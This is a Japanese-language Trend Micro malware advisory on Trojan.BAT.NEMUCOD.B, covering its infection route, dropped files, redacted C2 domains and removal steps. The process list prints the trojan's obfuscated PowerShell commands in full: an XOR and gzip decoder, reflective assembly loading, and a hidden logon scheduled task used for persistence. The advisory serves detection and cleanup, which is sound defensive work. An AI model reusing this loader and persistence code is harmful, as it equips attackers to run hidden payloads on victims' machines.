Trend Micro Security

Trojan.BAT.NEMUCOD.B

2024年2月15日
 解析者: Raighen Sanchez   

 別名:

BAT/TrojanDropper.Agent.NJM trojan (NOD32)

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:


  • マルウェアタイプ: トロイの木馬型
  • 破壊活動の有無: なし
  • 暗号化:  
  • 感染報告の有無: はい

  概要

感染経路 インターネットからのダウンロード, 他のマルウェアからの作成

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。


  詳細

ファイルサイズ 450,710 bytes
タイプ BAT
発見日 2024年1月15日
ペイロード URLまたはIPアドレスに接続, ファイルの削除, ファイルの作成

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

  • %User Temp%\{8 random alphanumeric characters}.{3 random alphanumeric characters}.ps1
  • %User Temp%\{8 random alphanumeric characters}.{3 random alphanumeric characters}.psm1
  • %AppDataLocal%\Pac\data2.txt
  • %AppDataLocal%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • %AppDataLocal%\taskUnity\task.exe
  • %AppDataLocal%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • %Application Data%\BlueStack\versionid.txt
  • %AppDataLocal%\Pac\logs.txt
  • %AppDataLocal%\Pac\data2.txt

(註:%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\<ユーザー名>\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\<ユーザ名>\AppData\Local\Temp" です。. %AppDataLocal%フォルダは、ローカルアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\<ユーザ名>\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\<ユーザ名>\AppData\Local" です。. %Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\<ユーザ名>\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\<ユーザ名>\AppData\Roaming" です。)

マルウェアは、以下のプロセスを追加します。

  • C:\Windows\system32\cmd.exe /K install.bat
  • "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c $taHD='install.bat';$NtIb='FHirslHirsusHirshHirs'.Replace('Hirs', '');$ObcK='WHirsrHirsiHirstHirse'.Replace('Hirs', '');$ArEi='RHirseHirsaHirsd'.Replace('Hirs', '');$JrMk='LHirsoHirsaHirsd'.Replace('Hirs', '');$zoKG='EHirsnHirstHirsryHirsPoHirsinHirst'.Replace('Hirs', '');$ddJZ='IHirsnHirsvoHirskHirse'.Replace('Hirs', '');$UHEF='FrHirsoHirsmBHirsasHirse6Hirs4HirsSHirstrHirsinHirsg'.Replace('Hirs', '');$SPyy='MHirsaHirsinHirsMoHirsdHirsuHirsle'.Replace('Hirs', '');$VaHf='GHirseHirstHirsCuHirsrrHirsenHirstPHirsroHirsceHirsss'.Replace('Hirs', '');$PDYZ='ElHirsemHirsenHirstAHirst'.Replace('Hirs', '');$Retn='ReHirsadHirsLiHirsnHirseHirss'.Replace('Hirs', '');$Hdbx='ChHirsaHirsnHirsgeHirsExHirstHirseHirsnsHirsiHirsoHirsnHirs'.Replace('Hirs', '');$ublZB=[System.Linq.Enumerable]::$PDYZ([System.IO.File]::$Retn($taHD), 1);$YXXGq=$ublZB.Substring(2);function cSUex($kGFsz){$SjAZa=New-Object System.IO.MemoryStream(,$kGFsz);$zIanR=New-Object System.IO.MemoryStream;$vRvnd=New-Object System.IO.Compression.GZipStream($SjAZa,[IO.Compression.CompressionMode]::Decompress);$hRgEv = New-Object System.IO.BinaryWriter($zIanR);$bRTaW = New-Object byte[](1024);while($true){$FgteA = $vRvnd.$ArEi($bRTaW,0,1024);if($FgteA -le 0){break;}$hRgEv.$ObcK($bRTaW,0,$FgteA);$hRgEv.$NtIb();}$vRvnd.Dispose();$SjAZa.Dispose();$hRgEv.Close();$zIanR.Dispose();$zIanR.ToArray();}function JeGso($kGFsz){$PzChi=[System.Convert]::$UHEF('7hl8HDjB6KYIKdxWsK/Yv3pcVj44gbOTziIiPQGMP4k=');For ($i=0; $i -lt $kGFsz.Length; $i++){$ix = $i % $PzChi.Length;$kGFsz[$i] = $kGFsz[$i] -bxor $PzChi[$ix];}$kGFsz;}$YjPOO = cSUex(JeGso([System.Convert]::$UHEF($YXXGq)));[System.Reflection.Assembly]::$JrMk([byte[]]$YjPOO).$zoKG.$ddJZ($null,$null);
  • "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c "function cSUex($kGFsz){$SjAZa=New-Object System.IO.MemoryStream(,$kGFsz);$zIanR=New-Object System.IO.MemoryStream;$vRvnd=New-Object System.IO.Compression.GZipStream($SjAZa,[IO.Compression.CompressionMode]::Decompress);$hRgEv = New-Object System.IO.BinaryWriter($zIanR);$bRTaW = New-Object byte[](1024);while($true){$FgteA = $vRvnd.Read($bRTaW,0,1024);if($FgteA -le 0){break;}$hRgEv.Write($bRTaW,0,$FgteA);$hRgEv.Flush();}$vRvnd.Dispose();$SjAZa.Dispose();$hRgEv.Close();$zIanR.Dispose();$zIanR.ToArray();}function JeGso($kGFsz){$PzChi=[System.Convert]::FromBase64String('hkguTzSCb75g7sJ9ChMcmAOPpeBL9ZJy/tejnoCjT+E=');For ($i=0; $i -lt $kGFsz.Length; $i++){$ix = $i % $PzChi.Length;$kGFsz[$i] = $kGFsz[$i] -bxor $PzChi[$ix];}$kGFsz;}$YjPOO = cSUex(JeGso([System.Convert]::FromBase64String([System.IO.File]::ReadAllText('$AppDataLocal%\Pac\data2.txt'))));[System.Reflection.Assembly]::Load([byte[]]$YjPOO).EntryPoint.Invoke($null,$null);"
  • "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c $taskName = 'CFoxMaint';$taskExe = '$AppDataLocal%\taskUnity\task.exe';$taskarg = '\"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe\" \"-w\" \"hidden\" \"-c\" \"$Uicm=''FlUicmWuUicmWsUicmWh''.Replace(''UicmW'', '''');$WDCA=''WUicmWriUicmWtUicmWe''.Replace(''UicmW'', '''');$dDMx=''RUicmWeUicmWaUicmWd''.Replace(''UicmW'', '''');$zBMT=''LUicmWoUicmWaUicmWd''.Replace(''UicmW'', '''');$LJao=''RUicmWeaUicmWdUicmWAUicmWllUicmWTUicmWexUicmWt''.Replace(''UicmW'', '''');$aNhY=''EnUicmWtUicmWryUicmWPoUicmWinUicmWt''.Replace(''UicmW'', '''');$ArWV=''InUicmWvUicmWokUicmWe''.Replace(''UicmW'', '''');$Sacu=''FrUicmWomUicmWBaUicmWseUicmW64UicmWSUicmWtrUicmWing''.Replace(''UicmW'', '''');function cSUex($kGFsz){$SjAZa=New-Object System.IO.MemoryStream(,$kGFsz);$zIanR=New-Object System.IO.MemoryStream;$vRvnd=New-Object System.IO.Compression.GZipStream($SjAZa,[IO.Compression.CompressionMode]::Decompress);$hRgEv = New-Object System.IO.BinaryWriter($zIanR);$bRTaW = New-Object byte[](1024);while($true){$FgteA = $vRvnd.$dDMx($bRTaW,0,1024);if($FgteA -le 0){break;}$hRgEv.$WDCA($bRTaW,0,$FgteA);$hRgEv.$Uicm();}$vRvnd.Dispose();$SjAZa.Dispose();$hRgEv.Close();$zIanR.Dispose();$zIanR.ToArray();}function JeGso($kGFsz){$PzChi=[System.Convert]::$Sacu(''hkguTzSCb75g7sJ9ChMcmAOPpeBL9ZJy/tejnoCjT+E='');For ($i=0; $i -lt $kGFsz.Length; $i++){$ix = $i % $PzChi.Length;$kGFsz[$i] = $kGFsz[$i] -bxor $PzChi[$ix];}$kGFsz;}$YjPOO = cSUex(JeGso([Convert]::$Sacu([System.IO.File]::$LJao(''$AppDataLocal%\Pac\data2.txt''))));[System.Reflection.Assembly]::$zBMT([byte[]]$YjPOO).$aNhY.$ArWV($null,$null);\"';$taskWD = '$AppDataLocal%\Pac';$taskExists = Get-ScheduledTask | Where-Object {$_.TaskName -like $taskName };$A = New-ScheduledTaskAction -Execute $taskExe -WorkingDirectory $taskWD -Argument $taskarg;if($taskExists) {Set-ScheduledTask -TaskName $taskName -Action $A;} else {$T = New-ScheduledTaskTrigger -AtLogOn -User ($env:USERNAME);$S = New-ScheduledTaskSettingsSet -StartWhenAvailable -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;$D = New-ScheduledTask -Action $A -Trigger $T -Settings $S;Register-ScheduledTask -TaskName $taskName -InputObject $D;}

他のシステム変更

マルウェアは、以下のファイルを削除します。

  • %User Temp%\{8 random alphanumeric characters}.{3 random alphanumeric characters}.ps1
  • %User Temp%\{8 random alphanumeric characters}.{3 random alphanumeric characters}.psm1

(註:%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\<ユーザー名>\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\<ユーザ名>\AppData\Local\Temp" です。)

モバイル端末を狙う不正プログラムの不正活動

マルウェアは、以下の不正なWebサイトにアクセスします。

  • {BLOCKED}on.top:443
  • {BLOCKED}ion.top:443


  対応方法

対応検索エンジン: 9.800
初回 VSAPI パターンバージョン 19.154.04
初回 VSAPI パターンリリース日 2024年2月12日
VSAPI OPR パターンバージョン 19.155.00
VSAPI OPR パターンリリース日 2024年2月13日

手順 1

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性に設定されている場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。
  • %User Temp%\{8 random alphanumeric characters}.{3 random alphanumeric characters}.ps1
  • %User Temp%\{8 random alphanumeric characters}.{3 random alphanumeric characters}.psm1
  • %AppDataLocal%\Pac\data2.txt
  • %AppDataLocal%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • %AppDataLocal%\taskUnity\task.exe
  • %AppDataLocal%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • %Application Data%\BlueStack\versionid.txt
  • %AppDataLocal%\Pac\logs.txt
  • %AppDataLocal%\Pac\data2.txt

手順 4

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.BAT.NEMUCOD.B」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


ご利用はいかがでしたか? アンケートにご協力ください